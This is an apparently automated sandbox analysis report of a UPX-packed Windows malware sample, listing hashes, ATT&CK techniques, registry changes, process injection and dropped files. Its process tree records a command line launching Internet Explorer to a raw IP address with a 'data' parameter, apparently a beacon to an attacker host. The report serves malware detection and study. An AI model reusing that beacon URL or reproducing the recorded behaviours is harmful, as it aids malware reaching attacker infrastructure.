236815a6729d4e9a8d618dee0dd22eddad4c7005ada6a01133b45c012263f64f

General

Target

8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe
Size

5KB
MD5

8c323fb8c9aadcbe7130d48d283e0fe1
SHA1

178e906d4843cdc3a4baa476733a863042e39159
SHA256

236815a6729d4e9a8d618dee0dd22eddad4c7005ada6a01133b45c012263f64f
SHA512

117bffd490087293cd04e5ce7a88e1d45cf76d7de36b1a4b15afadb847ae8c9e1841610ecd2a0909d98275b37ab6d01ca526f9164a33ec7cfcc3c70694d9fa14
SSDEEP

96:aPE614nT8HJdxAq9OkOD94dnnID883WqREdZn:a7ET8pnAoU9anM84R8

Score

7^/10

discovery upx

Malware Config

Signatures

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3012-0-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral1/memory/3012-5-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral1/memory/3012-10-0x0000000000400000-0x000000000041C000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 24 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{BFD1CE41-582F-11EF-BDB6-FE3EAF6E2A14} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3012	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2556	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2556	iexplore.exe
2556	iexplore.exe
980	IEXPLORE.EXE
980	IEXPLORE.EXE
980	IEXPLORE.EXE
980	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 2556	3012	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2556	3012	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2556	3012	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe	31
PID 3012 wrote to memory of 2556	3012	8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe	31
PID 2556 wrote to memory of 980	2556	iexplore.exe	32
PID 2556 wrote to memory of 980	2556	iexplore.exe	32
PID 2556 wrote to memory of 980	2556	iexplore.exe	32
PID 2556 wrote to memory of 980	2556	iexplore.exe	32

C:\Users\Admin\AppData\Local\Temp\8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://217.73.66.16/md.php?data=8c323fb8c9aadcbe7130d48d283e0fe1_JaffaCakes118
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2556 CREDAT:275457 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
8362bf8cc3a9abb6b2b5f124cb8360a1

SHA1
5f28cf558a1bf9c9a3de795bf73dfa65b1cf45c4

SHA256
96661568b21a41fa54cee868d0da70689fa4e3244133e9f5f309455a7b626a36

SHA512
cb1cec2f17285c74bc0f15a11ca2eb5bedf0e5b99035f1701bb9e43ed3732db5fc020460e0a2b6b26faa7e39135ff83f38b3cd3360c44d5a40251798e8b39dd0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
20beba74559a26c6119202c60200c31f

SHA1
0290b4fee91833bd088c92eb1e9a14e527778542

SHA256
e5908071f901afaf2ddb2607b5ed4ad13425daddbcb7315eef2a2cad4a850e3f

SHA512
09a6102204dfc411e225a9a7d27b2cf2f8bc29b730173f9db711162e76e261a4e3eef214e30ee170dd8d1bd312f282a276372095ddda944cf0b0135a2a511d9e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
85bcc63ca86104e54ff3c3f46dd687d3

SHA1
70abdc6adb5e5fda74dd85ad31e812fb9a098400

SHA256
70f3a79f988d8802e813e4ec0371e4685f36c92ef42084b2ed7c3053a8a6a656

SHA512
2ab2761c270878a1896e1cc35ae1898b97ea73027fe9687b5f545fc8e08ad0ea83f0552ed0a00e52d20e003ed99316f9107225cdade69c85e6bfbcb3b83f818d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b447ca1132c23b76df4f99a7d9cbcd7c

SHA1
deccd0692d70b0d47190f1089f1a541ea64a5a8f

SHA256
976050fc016c5dad653a8359a751b3d3a4e584eef6bd3a2932395c8630b897b6

SHA512
241b6b2e1c08793cb2eece20ad01c62d9bbdba1b64f8b8db9a269dde1fcb05ae9760512980b6364626cd6f9dce7257357d220c01f23f479adb3a6e8492b47d6c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
4bdd397f7f010e3453cb44435edbbbe2

SHA1
c5a177b6cd5e91f618c32dca257704cef2565b6b

SHA256
312e98f210fbe6dbf5ca2bdb33cf876d00a0e825412f74e57c44cda0686cdcae

SHA512
9b9bfdae82b87ba49e3e1fbe168d6d8163f55a52bef1529ca9e37de0b111638d2ea8c63d131f898bd36862df112ed630ba08466b0a1efb22d67a0d7687f5a395

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab47EC.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4C91.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/3012-0-0x0000000000400000-0x000000000041C000-memory.dmp

Filesize
112KB

Download
memory/3012-5-0x0000000000400000-0x000000000041C000-memory.dmp

Filesize
112KB

Download
memory/3012-10-0x0000000000400000-0x000000000041C000-memory.dmp

Filesize
112KB

Download

Analysis

Sharing